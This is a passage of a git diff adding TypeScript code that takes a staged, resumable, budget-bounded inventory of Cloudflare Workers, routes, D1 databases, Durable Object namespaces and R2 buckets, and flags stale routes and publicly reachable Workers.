`dispatch script '${detailValue(script.id, 'dispatchScript')}' has no valid owner-checked registry entry`, + ); + } + for (const route of routes) { + const registration = registrationByScript.get(route.scriptName); + if ( + !registration?.keyOwned || + registration.tenantTag !== route.tenantTag || + registration.environment !== route.environment || + registration.routeHostname !== route.hostname + ) { + context.sink.finding( + 'stale-route', + route.tenantTag, + route.environment, + `host route '${detailHost(route.hostname, 'routeHostname')}' does not match its script registration owner`, + ); + } + } + if (context.options.includeDispatchNamespace) { + const namespace = context.deps.dispatchNamespace(); + const namespaceName = detailValue(namespace, 'dispatchNamespace'); + checkSignal(context.signal); + context.budget.spend(); + const inventory = await context.deps.getDispatchNamespace({ + namespace, + ...(context.signal ? { signal: context.signal } : {}), + }); + const dispatchScriptCount = inventory.script_count; + if ( + typeof dispatchScriptCount !== 'number' || + !Number.isSafeInteger(dispatchScriptCount) || + dispatchScriptCount < 0 + ) { + throw new Error( + `dispatch namespace '${namespaceName}' returned no valid script_count`, + ); + } + context.sink.add('meta', { + record: 'dispatch-inventory', + dispatchScriptCount, + name: inventory.namespace_name ?? namespace, + ...(inventory.namespace_id + ? { namespaceId: inventory.namespace_id } + : {}), + trustedWorkers: inventory.trusted_workers, + scriptCount: dispatchScriptCount, + }); + if ( + inventory.namespace_name !== namespace || + inventory.trusted_workers !== false + ) { + context.sink.finding( + 'trusted-dispatch-namespace', + 'unknown', + 'unknown', + `dispatch namespace '${namespaceName}' does not attest trusted_workers=false`, + ); + } + if (dispatchScriptCount > scripts.length) { + context.sink.finding( + 'unknown-dispatch-scripts', + 'unknown', + 'unknown', + `dispatch namespace '${namespaceName}' reports ${dispatchScriptCount - scripts.length} script(s) missing from the paginated listing`, + ); + } + } + return nextStage(stage, context.options, context.sink.counts); +} + +async function advanceCustomDomains( + context: StageContext, + stage: Readonly<{ step: 'custom-domains' }>, +): Promise { + for (const domain of await customDomains(context)) { + context.sink.add('meta', { + record: 'custom-domain', + hostname: domain.hostname, + service: domain.service, + }); + } + return nextStage(stage, context.options, context.sink.counts); +} + +async function advanceZoneAuthority( + context: StageContext, + stage: Readonly<{ step: 'zone-authority' }>, +): Promise { + checkSignal(context.signal); + context.budget.spend(); + const zoneIds = await context.deps.listWorkerRouteZoneIds( + context.signal ? { signal: context.signal } : {}, + ); + for (const zoneId of zoneIds) { + context.sink.add('meta', { record: 'zone', zoneId }); + } + return nextStage(stage, context.options, context.sink.counts); +} + +async function advanceZoneRoutes( + context: StageContext, + stage: Readonly<{ step: 'zone-routes'; zoneOrdinal: number }>, +): Promise { + checkSignal(context.signal); + context.budget.spend(); + const zoneIds = await context.deps.listWorkerRouteZoneIds( + context.signal ? { signal: context.signal } : {}, + ); + context.identity.observe(['zone-routes', stage.zoneOrdinal, [...zoneIds]]); + let zoneOrdinal = stage.zoneOrdinal; + while (zoneOrdinal < zoneIds.length) { + if (!context.budget.available) { + if (zoneOrdinal === stage.zoneOrdinal) { + throw new CloudflareFleetInventoryBudgetError('zone-routes'); + } + return { step: 'zone-routes', zoneOrdinal }; + } + const zoneId = zoneIds[zoneOrdinal]; + if (zoneId === undefined) break; + for (const route of await zoneRoutesForZone(context, zoneId)) { + context.sink.add('meta', { + record: 'zone-route', + zoneId: route.zoneId, + routeId: route.routeId, + pattern: route.pattern, + scriptName: route.scriptName, + }); + } + zoneOrdinal += 1; + } + return nextStage(stage, context.options, context.sink.counts); +} + +async function advanceOrdinaryScripts( + context: StageContext, + stage: Readonly<{ step: 'ordinary-scripts'; cursor?: string }>, +): Promise { + let cursor = stage.cursor; + const seen = new Set(); + for (;;) { + checkSignal(context.signal); + context.budget.spend(); + const page = await context.deps.listOrdinaryScripts({ + ...(cursor === undefined ? {} : { cursor }), + ...(context.signal ? { signal: context.signal } : {}), + }); + context.identity.observe([ + 'ordinary-scripts', + cursor ?? null, + page.scripts.map((script) => script.id ?? null), + page.cursor ?? null, + ]); + for (const script of page.scripts) { + if (!script.id?.startsWith(context.options.scriptNamePrefix)) continue; + if (context.sink.count('deployment') >= CLOUDFLARE_INVENTORY_BOUND) { + throw inventoryBoundExceeded( + 'ordinary Worker script inventory', + CLOUDFLARE_INVENTORY_BOUND, + ); + } + // The candidate list is the durable work list for the detail stage; the + // deployment itself is staged there, under a later ordinal. + context.sink.add('deployment', { + record: 'candidate-script', + scriptName: script.id, + }); + } + if (!page.cursor) { + return nextStage(stage, context.options, context.sink.counts); + } + if (seen.has(page.cursor) || page.cursor === cursor) { + throw new CloudflareFleetInventoryCursorError('ordinary-scripts'); + } + seen.add(page.cursor); + cursor = page.cursor; + if (!context.budget.available) return { step: 'ordinary-scripts', cursor }; + } +} + +async function advanceOrdinaryScriptDetail( + context: StageContext, + stage: Readonly<{ step: 'ordinary-script-detail'; scriptOrdinal: number }>, +): Promise { + const names = await ordinaryScriptNames(context); + context.identity.observe([ + 'ordinary-script-detail', + stage.scriptOrdinal, + [...names], + ]); + const domains = await customDomains(context); + const zoneRoutes = await allZoneRoutes(context); + let scriptOrdinal = stage.scriptOrdinal; + while (scriptOrdinal < names.length) { + if (!context.budget.available) { + if (scriptOrdinal === stage.scriptOrdinal) { + throw new CloudflareFleetInventoryBudgetError('ordinary-script-detail'); + } + return { step: 'ordinary-script-detail', scriptOrdinal }; + } + const scriptName = names[scriptOrdinal]; + if (scriptName === undefined) break; + const safeScriptName = detailValue(scriptName, 'scriptName'); + const scriptZoneRoutes = zoneRoutes.filter( + (route) => route.scriptName === scriptName, + ); + checkSignal(context.signal); + context.budget.spend(); + try { + const detail = await context.deps.readOrdinaryScriptDetail({ + scriptName, + ...(context.signal ? { signal: context.signal } : {}), + }); + const deployment = ordinaryDeployment( + scriptName, + detail, + scriptZoneRoutes, + ); + if (deployment.publiclyReachable) { + context.sink.finding( + 'incomplete-deployment', + deployment.tenantTag, + deployment.environment, + `trusted Worker '${safeScriptName}' is publicly reachable on workers.dev, a preview URL, or a zone route`, + ); + } + const deploymentOrdinal = context.sink.add('deployment', { + record: 'deployment', + backend: 'plain-worker', + ...(deployment.resourceRole + ? { + resourceRole: deployment.resourceRole, + resourceGroupId: deployment.resourceGroupId, + } + : {}), + scriptName: deployment.scriptName, + tenantTag: deployment.tenantTag, + environment: deployment.environment, + artifactVersion: deployment.artifactVersion, + ...(deployment.desiredSpecDigest + ? { desiredSpecDigest: deployment.desiredSpecDigest } + : {}), + schemaVersion: deployment.schemaVersion, + }); + stageDeploymentFacts(context.sink, deploymentOrdinal, { + databaseIds: deployment.databaseIds, + durableObjectBindings: deployment.durableObjectBindings, + serviceBindings: deployment.serviceBindings, + queueProducerBindings: deployment.queueProducerBindings, + kvNamespaceBindings: deployment.kvNamespaceBindings, + r2BucketBindings: deployment.r2BucketBindings, + secretNames: deployment.secretNames, + plainTextBindings: deployment.plainTextBindings, + routeHostnames: domains + .filter((domain) => domain.service === scriptName) + .map((domain) => domain.hostname), + zoneRoutes: scriptZoneRoutes.map( + ({ scriptName: _scriptName, ...route }) => route, + ), + }); + } catch (error) { + // Cross-stage provider drift (a script deleted after the listing) lands + // here, exactly as the single-pass drain surfaces it. + diagnostic(context, `plain Worker '${safeScriptName}'`, error); + context.sink.finding( + 'incomplete-deployment', + 'unknown', + 'unknown', + `plain Worker '${safeScriptName}' could not be inventoried`, + ); + } + scriptOrdinal += 1; + } + return nextStage(stage, context.options, context.sink.counts); +} + +async function advanceRouteClaims( + context: StageContext, + stage: Readonly<{ step: 'route-claims' }>, +): Promise { + const domains = await customDomains(context); + const zoneRoutes = await allZoneRoutes(context); + const identities = await plainIdentities( + context, + await ordinaryScriptNames(context), + ); + for (const domain of domains) { + const identity = identities.get(domain.service); + context.sink.add('route', { + record: 'route', + backend: 'plain-worker', + surface: 'custom-domain', + hostname: domain.hostname, + scriptName: domain.service, + tenantTag: identity?.tenantTag ?? 'unknown', + environment: identity?.environment ?? 'unknown', + }); + if (!identity) { + context.sink.finding( + 'stale-route', + 'unknown', + 'unknown', + `custom domain '${detailHost(domain.hostname, 'customDomain')}' points to a missing or incomplete plain Worker '${detailValue(domain.service, 'scriptName')}'`, + ); + } + } + for (const route of zoneRoutes) { + const identity = identities.get(route.scriptName); + context.sink.add('route', { + record: 'route', + backend: 'plain-worker', + surface: 'zone-route', + zoneId: route.zoneId, + routeId: route.routeId, + hostname: route.pattern, + scriptName: route.scriptName, + tenantTag: identity?.tenantTag ?? 'unknown', + environment: identity?.environment ?? 'unknown', + }); + context.sink.finding( + 'stale-route', + identity?.tenantTag ?? 'unknown', + identity?.environment ?? 'unknown', + `zone route '${detailHost(route.pattern, 'zoneRoutePattern')}' exposes plain Worker '${detailValue(route.scriptName, 'scriptName')}'`, + ); + } + return nextStage(stage, context.options, context.sink.counts); +} + +async function advanceDatabases( + context: StageContext, + stage: Readonly<{ step: 'd1-databases' }>, +): Promise { + let cursor: string | undefined; + let encountered = 0; + const seen = new Set(); + for (;;) { + checkSignal(context.signal); + context.budget.spend(); + const page = await context.deps.listDatabases({ + ...(cursor === undefined ? {} : { cursor }), + ...(context.signal ? { signal: context.signal } : {}), + }); + for (const database of page.databases) { + encountered += 1; + if (encountered > MAX_DATABASE_INVENTORY) { + throw inventoryBoundExceeded( + 'D1 database inventory', + MAX_DATABASE_INVENTORY, + ); + } + if ( + database.uuid && + database.name?.startsWith(context.options.databaseNamePrefix) + ) { + context.sink.add('database-id', { + record: 'database-id', + databaseId: database.uuid, + }); + } + } + if (!page.cursor) { + return nextStage(stage, context.options, context.sink.counts); + } + if (seen.has(page.cursor) || page.cursor === cursor) { + throw new CloudflareFleetInventoryCursorError('d1-databases'); + } + seen.add(page.cursor); + cursor = page.cursor; + } +} + +async function advanceDurableObjectNamespaces( + context: StageContext, + stage: Readonly<{ step: 'do-namespaces' }>, +): Promise { + const { registrations } = await hostRoutingSnapshot(context); + const registeredScriptNames = new Set( + registrations.map((registration) => registration.scriptName), + ); + let cursor: string | undefined; + let encountered = 0; + const seen = new Set(); + for (;;) { + checkSignal(context.signal); + context.budget.spend(); + const page = await context.deps.listDurableObjectNamespaces({ + ...(cursor === undefined ? {} : { cursor }), + ...(context.signal ? { signal: context.signal } : {}), + }); + for (const namespace of page.namespaces) { + encountered += 1; + if (encountered > CLOUDFLARE_INVENTORY_BOUND) { + throw inventoryBoundExceeded( + 'Durable Object namespace inventory', + CLOUDFLARE_INVENTORY_BOUND, + ); + } + if ( + namespace.id && + namespace.script && + (registeredScriptNames.has(namespace.script) || + namespace.script.startsWith(context.options.scriptNamePrefix)) + ) { + context.sink.add('namespace-id', { + record: 'namespace-id', + namespaceId: namespace.id, + }); + } + } + if (!page.cursor) { + return nextStage(stage, context.options, context.sink.counts); + } + if (seen.has(page.cursor) || page.cursor === cursor) { + throw new CloudflareFleetInventoryCursorError('do-namespaces'); + } + seen.add(page.cursor); + cursor = page.cursor; + } +} + +async function advanceR2Buckets( + context: StageContext, + stage: Readonly<{ + step: 'r2-buckets'; + jurisdictionOrdinal: 0 | 1 | 2; + startAfter?: string; + }>, +): Promise { + if (!context.options.includeR2Buckets) { + return nextStage(stage, context.options, context.sink.counts); + } + let jurisdictionOrdinal = stage.jurisdictionOrdinal; + let startAfter = stage.startAfter; + for (;;) { + const jurisdiction = R2_JURISDICTIONS[jurisdictionOrdinal]; + if (jurisdiction === undefined) { + return nextStage(stage, context.options, context.sink.counts); + } + checkSignal(context.signal); + context.budget.spend(); + const page = await context.deps.listR2Buckets({ + jurisdiction, + namePrefix: context.options.scriptNamePrefix, + ...(startAfter === undefined ? {} : { startAfter }), + ...(context.signal ? { signal: context.signal } : {}), + }); + const buckets = page.buckets; + context.identity.observe([ + 'r2-buckets', + jurisdictionOrdinal, + startAfter ?? null, + buckets.map((bucket) => bucket.name ?? null), + ]); + for (const bucket of buckets) { + if (!bucket.name?.startsWith(context.options.scriptNamePrefix)) continue; + if ( + bucket.jurisdiction !== undefined && + bucket.jurisdiction !== jurisdiction + ) { + throw new Error(`R2 bucket '${bucket.name}' changed jurisdiction`); + } + if ( + !bucket.creation_date || + !Number.isFinite(Date.parse(bucket.creation_date)) + ) { + throw new Error( + `R2 bucket '${bucket.name}' has no valid creation date`, + ); + } + if (context.sink.count('r2-bucket') >= CLOUDFLARE_INVENTORY_BOUND) { + // The bound counts only accepted fleet-owned buckets, not every + // provider item scanned while filtering by prefix. + throw inventoryBoundExceeded( + 'R2 bucket inventory', + CLOUDFLARE_INVENTORY_BOUND, + ); + } + context.sink.add('r2-bucket', { + record: 'r2-bucket', + bucketName: bucket.name, + jurisdiction, + creationDate: new Date(bucket.creation_date).toISOString(), + }); + } + if (buckets.length < R2_PAGE_SIZE) { + const nextOrdinal = jurisdictionOrdinal + 1; + if (nextOrdinal > 2) { + return nextStage(stage, context.options, context.sink.counts); + } + jurisdictionOrdinal = nextOrdinal as 0 | 1 | 2; + startAfter = undefined; + } else { + const last = buckets.at(-1)?.name; + if (!last || last === startAfter) { + throw new Error('R2 bucket inventory pagination did not advance'); + } + startAfter = last; + } + if (!context.budget.available) { + return { + step: 'r2-buckets', + jurisdictionOrdinal, + ...(startAfter === undefined ? {} : { startAfter }), + }; + } + } +} + +/** + * Executes ONE bounded chunk of the stage named by `input.stage`, reproducing + * the single-pass drain's provider encounter order, finding vocabulary, finding + * order, and inventory bounds. Every provider read goes through `deps`; the + * engine holds no credential, no D1 knowledge, and no state between calls. + * + * Cross-stage provider drift is NOT an error: a resource that changes between + * stages is recorded exactly as the drain would surface it, so a generation is + * a point-in-time-per-stage snapshot rather than a globally consistent one. + */ +export async function advanceCloudflareFleetInventoryStage( + deps: CloudflareFleetInventoryDeps, + input: FleetInventoryStageInput, +): Promise { + assertWorkerAttachmentProviderRequestBudget(input.maxProviderRequests); + const stage = fleetInventoryStageFromUnknown(input.stage); + const budget = new RequestBudget(input.maxProviderRequests, stage.step); + const resumed = + fleetInventoryStageKey(stage) === + fleetInventoryStageKey(input.progress.stage); + const identity = new PageIdentity( + resumed ? input.progress.lastPageDigest : undefined, + stage.step, + ); + const sink = new StagedRowSink(input.progress.stagedCounts); + const context: StageContext = { + deps, + options: input.options, + budget, + identity, + sink, + diagnostics: [], + ...(input.signal ? { signal: input.signal } : {}), + }; + checkSignal(input.signal); + const next = await advanceStage(context, stage); + return { + rows: sink.rows, + facts: sink.facts, + nextStage: next, + ...(identity.digest === undefined ? {} : { pageDigest: identity.digest }), + providerRequests: budget.used, + diagnostics: context.diagnostics, + }; +} + +async function advanceStage( + context: StageContext, + stage: FleetInventoryStage, +): Promise { + switch (stage.step) { + case 'host-kv-keys': + return advanceHostKvKeys(context, stage); + case 'host-kv-values': + return advanceHostKvValues(context, stage); + case 'dispatch-pages': + return advanceDispatchPages(context, stage); + case 'registration-checks': + return advanceRegistrationChecks(context, stage); + case 'registration-postprocess': + return advanceRegistrationPostprocess(context, stage); + case 'custom-domains': + return advanceCustomDomains(context, stage); + case 'zone-authority': + return advanceZoneAuthority(context, stage); + case 'zone-routes': + return advanceZoneRoutes(context, stage); + case 'ordinary-scripts': + return advanceOrdinaryScripts(context, stage); + case 'ordinary-script-detail': + return advanceOrdinaryScriptDetail(context, stage); + case 'route-claims': + return advanceRouteClaims(context, stage); + case 'd1-databases': + return advanceDatabases(context, stage); + case 'do-namespaces': + return advanceDurableObjectNamespaces(context, stage); + case 'r2-buckets': + return advanceR2Buckets(context, stage); + default: + // `finalize` performs no provider work; the coordinator finalizes. + return { step: 'finalize' }; + } +} diff --git a/packages/fleet-control/src/fleet-inventory-advance.ts b/packages/fleet-control/src/fleet-inventory-advance.ts new file mode 100644 index 00000000..c20bb1c8 --- /dev/null +++ b/packages/fleet-control/src/fleet-inventory-advance.ts @@ -0,0 +1,287 @@ +// SPDX-License-Identifier: Apache-2.0 + +// The 9..1,000 provider-request contract and its refusal bytes are shared with +// the attachment scanner; duplicating the message would let the two drift. +import { assertWorkerAttachmentProviderRequestBudget } from './cloudflare-worker-attachment-scan-state.js'; +import { + advanceFleetInventoryProgress, + type CollectFleetInventoryOptions, + canonicalFleetInventoryRunOptions, + classifyFleetInventoryRunToken, + type FleetInventoryGenerationRef, + type FleetInventoryLease, + type FleetInventoryProviderContext, + type FleetInventoryRunRecord, + type FleetInventoryRunStore, + type FleetInventoryRunToken, + FleetInventoryRunTokenOperationError, + fleetInventoryOptionsDigest, + materializeFleetInventoryGeneration, + parseFleetInventoryRunToken, +} from './fleet-inventory-state.js'; +import type { FleetResourceInventory } from './types.js'; + +/** Default staged rows plus facts one bounded chunk may commit. */ +export const DEFAULT_FLEET_INVENTORY_STAGED_ROWS_PER_CHUNK = 500; +const MIN_STAGED_ROWS_PER_CHUNK = 1; +const MAX_STAGED_ROWS_PER_CHUNK = 2_000; + +/** One bounded inventory step: begin a run, or continue a persisted one. */ +export type FleetInventoryAdvanceAction = + | Readonly<{ + kind: 'start'; + operationId: string; + options: CollectFleetInventoryOptions; + }> + | Readonly<{ kind: 'continue'; token: unknown }>; + +/** Inputs for one bounded account inventory step. */ +export interface AdvanceFleetInventoryOptions { + readonly context: FleetInventoryProviderContext; + readonly store: FleetInventoryRunStore; + readonly action: FleetInventoryAdvanceAction; + readonly maxProviderRequests: number; + readonly maxStagedRowsPerChunk?: number; + /** Call-local cancellation; it is never persisted. */ + readonly signal?: AbortSignal; +} + +/** Authoritative durable outcome after at most one bounded stage chunk. */ +export type FleetInventoryAdvanceResult = + | Readonly<{ + /** More work remains; the token, not this status, is continuation input. */ + status: 'pending'; + token: FleetInventoryRunToken; + }> + | Readonly<{ + /** The generation is finalized and readable; rows are not returned here. */ + status: 'complete'; + token: FleetInventoryRunToken; + generation: FleetInventoryGenerationRef; + }>; + +/** Named capability whose absence makes bounded inventory work fail closed. */ +export type FleetInventoryAdvanceCapability = + | 'inventory-run-store' + | 'generation-read' + | 'generation-pin'; + +const CAPABILITY_MESSAGES: Readonly< + Record +> = Object.freeze({ + 'inventory-run-store': + 'fleet inventory requires a run store with bounded staging support', + 'generation-read': + 'fleet inventory requires a run store that can read finalized generations', + 'generation-pin': + 'fleet inventory requires a run store that can pin finalized generations', +}); + +const CAPABILITY_MEMBERS: Readonly< + Record +> = Object.freeze({ + 'inventory-run-store': Object.freeze(['withAccountInventoryLease']), + 'generation-read': Object.freeze([ + 'readFinalizedGeneration', + 'readRunByOperation', + ]), + 'generation-pin': Object.freeze(['pinGeneration']), +}); + +/** Fixed configuration refusal for one missing bounded capability. */ +export class FleetInventoryAdvanceCapabilityError extends Error { + constructor(readonly capability: FleetInventoryAdvanceCapability) { + super(CAPABILITY_MESSAGES[capability]); + this.name = 'FleetInventoryAdvanceCapabilityError'; + } +} + +function assertStoreCapability( + store: FleetInventoryRunStore, + capability: FleetInventoryAdvanceCapability, +): void { + for (const member of CAPABILITY_MEMBERS[capability]) { + if ( + !Reflect.has(store, member) || + typeof (store as unknown as Record)[member] !== + 'function' + ) { + throw new FleetInventoryAdvanceCapabilityError(capability); + } + } +} + +function assertStoreCapabilities(store: FleetInventoryRunStore): void { + for (const capability of Object.keys( + CAPABILITY_MEMBERS, + ) as FleetInventoryAdvanceCapability[]) { + assertStoreCapability(store, capability); + } +} + +function assertStagedRowsBudget(value: number): void { + if ( + !Number.isSafeInteger(value) || + value < MIN_STAGED_ROWS_PER_CHUNK || + value > MAX_STAGED_ROWS_PER_CHUNK + ) { + throw new Error('maxStagedRowsPerChunk must be an integer from 1 to 2000'); + } +} + +function runToken(run: FleetInventoryRunRecord): FleetInventoryRunToken { + return { + version: 1, + operationId: run.operationId, + revision: run.progress.revision, + }; +} + +async function completeFromRun( + store: FleetInventoryRunStore, + run: FleetInventoryRunRecord, +): Promise { + const generation = await store.readFinalizedGeneration( + run.progress.generation, + ); + return { + status: 'complete', + token: runToken(run), + generation: generation.ref, + }; +} + +async function advanceChunk( + options: AdvanceFleetInventoryOptions, + lease: FleetInventoryLease, + run: FleetInventoryRunRecord, + maxStagedRowsPerChunk: number, +): Promise { + if (run.state === 'finalized') { + return completeFromRun(options.store, run); + } + if (run.state === 'failed') { + throw new Error( + `fleet inventory run '${run.operationId}' failed and cannot be continued`, + ); + } + // Lease loss is detected at the dispatch boundary, before any provider work. + await lease.assertOwned(); + const executed = run.progress.stage; + if (executed.step === 'finalize') { + const generation = await lease.finalizeRun({ + operationId: run.operationId, + expectedRevision: run.progress.revision, + manifest: run.progress.stagedCounts, + factCount: run.progress.factCount, + }); + return { status: 'complete', token: runToken(run), generation }; + } + const result = await options.context.advanceStage({ + stage: executed, + options: run.options, + progress: run.progress, + maxProviderRequests: options.maxProviderRequests, + ...(options.signal ? { signal: options.signal } : {}), + }); + if (result.rows.length + result.facts.length > maxStagedRowsPerChunk) { + throw new Error( + 'fleet inventory chunk staged more rows and facts than maxStagedRowsPerChunk allows', + ); + } + const progress = advanceFleetInventoryProgress( + run.progress, + executed, + result, + ); + const committed = await lease.commitChunk({ + operationId: run.operationId, + expectedRevision: run.progress.revision, + runRecord: { + ...run, + progress, + updatedAt: new Date().toISOString(), + }, + rows: result.rows, + facts: result.facts, + }); + return { status: 'pending', token: runToken(committed) }; +} + +/** + * Performs at most ONE bounded provider stage chunk against the durable run + * store, then returns the authoritative token. Provider work is reached only + * through the injected context, so this coordinator stays transport-neutral. + * + * A stale token returns the authoritative current result with ZERO provider + * calls; a token ahead of the persisted run, an unknown operation, and every + * missing store capability all fail closed before any provider call. + */ +export async function advanceFleetInventory( + options: AdvanceFleetInventoryOptions, +): Promise { + assertWorkerAttachmentProviderRequestBudget(options.maxProviderRequests); + const maxStagedRowsPerChunk = + options.maxStagedRowsPerChunk ?? + DEFAULT_FLEET_INVENTORY_STAGED_ROWS_PER_CHUNK; + assertStagedRowsBudget(maxStagedRowsPerChunk); + assertStoreCapabilities(options.store); + const action = options.action; + if (action.kind === 'start') { + const canonical = canonicalFleetInventoryRunOptions(action.options); + const optionsDigest = fleetInventoryOptionsDigest(canonical); + return options.store.withAccountInventoryLease(async (lease) => { + const run = await lease.startRun({ + operationId: action.operationId, + options: canonical, + optionsDigest, + }); + return advanceChunk(options, lease, run, maxStagedRowsPerChunk); + }); + } + const token = parseFleetInventoryRunToken(action.token); + return options.store.withAccountInventoryLease(async (lease) => { + const run = await lease.readRun(token.operationId); + if (!run) { + const persisted = await options.store.readRunByOperation( + token.operationId, + ); + if (persisted?.state === 'finalized') { + return completeFromRun(options.store, persisted); + } + throw new FleetInventoryRunTokenOperationError(token.operationId); + } + if (classifyFleetInventoryRunToken(token, run) === 'stale') { + // The caller is behind the persisted run, so the authoritative current + // result is returned without touching the provider. + return run.state === 'finalized' + ? completeFromRun(options.store, run) + : { status: 'pending', token: runToken(run) }; + } + return advanceChunk(options, lease, run, maxStagedRowsPerChunk); + }); +} + +/** + * Materializes one finalized, readable generation as today's + * `FleetResourceInventory`. Staging, failed, pruned, and unpinned historical + * generations are refused by the run store before any row is read. + */ +export async function readFleetInventoryGeneration( + store: FleetInventoryRunStore, + generation: number, +): Promise { + // Materialization is a read: a store that can only read finalized + // generations must not be refused for missing staging or pinning members. + assertStoreCapability(store, 'generation-read'); + const finalized = await store.readFinalizedGeneration(generation); + const run = await store.readRunByOperation(finalized.ref.operationId); + if (run?.state !== 'finalized') { + throw new FleetInventoryRunTokenOperationError(finalized.ref.operationId); + } + return materializeFleetInventoryGeneration({ + rows: finalized.rows, + facts: finalized.facts, + options: run.options, + }); +} diff --git a/packages/fleet-control/src/fleet-inventory-state.ts b/packages/fleet-control/src/fleet-inventory-state.ts index 3dc6ebd2..6146f83d 100644 --- a/packages/fleet-control/src/fleet-inventory-state.ts +++ b/packages/fleet-control/src/fleet-inventory-state.ts @@ -2,6 +2,16 @@ import { createHash } from 'node:crypto'; import { cloneBoundedPlainData } from './strict-plain-data.js'; +import type { + ApplicationR2Binding, + DurableObjectBindingInventory, + FleetInventoryDeployment, + FleetInventoryFinding, + FleetResourceInventory, + ProvisioningBackendKind, + R2Jurisdiction, + WorkerZoneRoute, +} from './types.js'; /** Byte bound for one persisted inventory run record. */ export const FLEET_INVENTORY_RUN_RECORD_BYTE_BOUND = 96 * 1024; @@ -362,23 +372,34 @@ export class FleetInventoryStateError extends Error { } } +/** + * Frozen refusal text for every continuation-token classification failure, so + * the three token errors cannot drift apart from one another. + */ +const TOKEN_REFUSAL_MESSAGES = Object.freeze({ + malformed: 'fleet inventory run token is malformed', + future: 'fleet inventory run token is ahead of the persisted run', + unknownOperation: (operationId: string) => + `no fleet inventory run for operation '${operationId}'`, +}); + export class FleetInventoryRunTokenError extends Error { constructor() { - super('fleet inventory run token is malformed'); + super(TOKEN_REFUSAL_MESSAGES.malformed); this.name = 'FleetInventoryRunTokenError'; } } export class FleetInventoryRunTokenOperationError extends Error { constructor(readonly operationId: string) { - super(`no fleet inventory run for operation '${operationId}'`); + super(TOKEN_REFUSAL_MESSAGES.unknownOperation(operationId)); this.name = 'FleetInventoryRunTokenOperationError'; } } export class FleetInventoryRunTokenFutureError extends Error { constructor() { - super('fleet inventory run token is ahead of the persisted run'); + super(TOKEN_REFUSAL_MESSAGES.future); this.name = 'FleetInventoryRunTokenFutureError'; } } @@ -666,15 +687,19 @@ function stageEnabled( options: FleetInventoryRunOptions, counts: Readonly>, ): boolean { - // `includeDispatchNamespace` deliberately gates NO stage: it only skips the - // namespace attestation INSIDE `registration-postprocess`, which is the - // provider engine's work, so the stage itself is still entered. const hostRouting = options.hostRoutingKvId !== undefined; switch (step) { case 'host-kv-keys': + return hostRouting; + // The single-pass drain lists the dispatch namespace whenever the caller + // asks for it, even with no host-routing registry to cross-check, so the + // listing stage follows `includeDispatchNamespace` alone. case 'dispatch-pages': + return options.includeDispatchNamespace; + // Postprocess owns the unknown-dispatch-script findings, the host-route + // owner check, and the namespace attestation, so either input enables it. case 'registration-postprocess': - return hostRouting; + return hostRouting || options.includeDispatchNamespace; case 'host-kv-values': case 'registration-checks': return hostRouting && counts.registration > 0; @@ -1008,3 +1033,342 @@ export function classifyFleetInventoryRunToken( } return parsed.revision === run.progress.revision ? 'current' : 'stale'; } + +/** + * Position identity for one stage: the stage's own keys in a stable order. + * Both the provider engine and the coordinator compare stage POSITIONS, not + * object identity, so the comparison lives once in this neutral leaf. + */ +export function fleetInventoryStageKey(stage: FleetInventoryStage): string { + return JSON.stringify( + Object.entries(stage).sort(([left], [right]) => (left < right ? -1 : 1)), + ); +} + +/** + * Successor progress for one committed chunk. + * + * `lastPageDigest` is POSITION-SCOPED: the provider engine compares it only + * when the persisted stage deep-equals the stage it is asked to execute, so it + * must be dropped as soon as the run moves to a different stage position. + */ +export function advanceFleetInventoryProgress( + progress: FleetInventoryRunProgress, + executed: FleetInventoryStage, + result: FleetInventoryStageResult, +): FleetInventoryRunProgress { + const stagedCounts = { ...progress.stagedCounts }; + for (const row of result.rows) { + stagedCounts[row.kind] += 1; + } + const samePosition = + fleetInventoryStageKey(result.nextStage) === + fleetInventoryStageKey(executed); + return { + stage: result.nextStage, + generation: progress.generation, + revision: progress.revision + 1, + stagedCounts, + factCount: progress.factCount + result.facts.length, + ...(samePosition && result.pageDigest !== undefined + ? { lastPageDigest: result.pageDigest } + : {}), + providerRequests: progress.providerRequests + result.providerRequests, + }; +} + +/** The progress a freshly started run carries before its first chunk. */ +export function initialFleetInventoryProgress( + stage: FleetInventoryStage, + generation: number, +): FleetInventoryRunProgress { + return { + stage, + generation, + revision: 0, + stagedCounts: emptyFleetInventoryRowCounts(), + factCount: 0, + providerRequests: 0, + }; +} + +function malformedGeneration(): never { + throw new Error('fleet inventory generation row payload is malformed'); +} + +function text(payload: Readonly>, key: string): string { + const value = payload[key]; + return typeof value === 'string' ? value : malformedGeneration(); +} + +function optionalText( + payload: Readonly>, + key: string, +): string | undefined { + const value = payload[key]; + if (value === undefined) return undefined; + return typeof value === 'string' ? value : malformedGeneration(); +} + +function integer( + payload: Readonly>, + key: string, +): number { + const value = payload[key]; + return Number.isSafeInteger(value) + ? (value as number) + : malformedGeneration(); +} + +function withoutRecord( + payload: Readonly>, +): Record { + const { record: _record, ...rest } = payload; + return rest; +} + +type FactIndex = ReadonlyMap< + number, + ReadonlyMap< + FleetInventoryDeploymentFactKind, + readonly Readonly>[] + > +>; + +function indexFacts(facts: readonly FleetInventoryStagedFact[]): FactIndex { + const index = new Map< + number, + Map + >(); + for (const fact of facts) { + const byKind = + index.get(fact.deploymentOrdinal) ?? + new Map(); + index.set(fact.deploymentOrdinal, byKind); + const bucket = byKind.get(fact.factKind) ?? []; + byKind.set(fact.factKind, bucket); + bucket.push(fact); + } + const ordered = new Map< + number, + Map< + FleetInventoryDeploymentFactKind, + readonly Readonly>[] + > + >(); + for (const [deploymentOrdinal, byKind] of index) { + const payloads = new Map< + FleetInventoryDeploymentFactKind, + readonly Readonly>[] + >(); + for (const [factKind, bucket] of byKind) { + payloads.set( + factKind, + [...bucket] + .sort((left, right) => left.factOrdinal - right.factOrdinal) + .map((fact) => fact.payload), + ); + } + ordered.set(deploymentOrdinal, payloads); + } + return ordered; +} + +function factsOf( + index: FactIndex, + deploymentOrdinal: number, + factKind: FleetInventoryDeploymentFactKind, +): readonly Readonly>[] { + return index.get(deploymentOrdinal)?.get(factKind) ?? []; +} + +function materializeDeployment( + row: FleetInventoryStagedRow, + index: FactIndex, +): FleetInventoryDeployment { + const payload = row.payload; + const value = text(payload, 'backend'); + if (value !== 'workers-for-platforms' && value !== 'plain-worker') { + return malformedGeneration(); + } + const backend: ProvisioningBackendKind = value; + const desiredSpecDigest = optionalText(payload, 'desiredSpecDigest'); + const resourceRole = optionalText(payload, 'resourceRole'); + const facts = (factKind: FleetInventoryDeploymentFactKind) => + factsOf(index, row.ordinal, factKind); + const identity = { + backend, + ...(resourceRole === 'platform-state' || + resourceRole === 'deployment-egress' + ? { + resourceRole: resourceRole as 'platform-state' 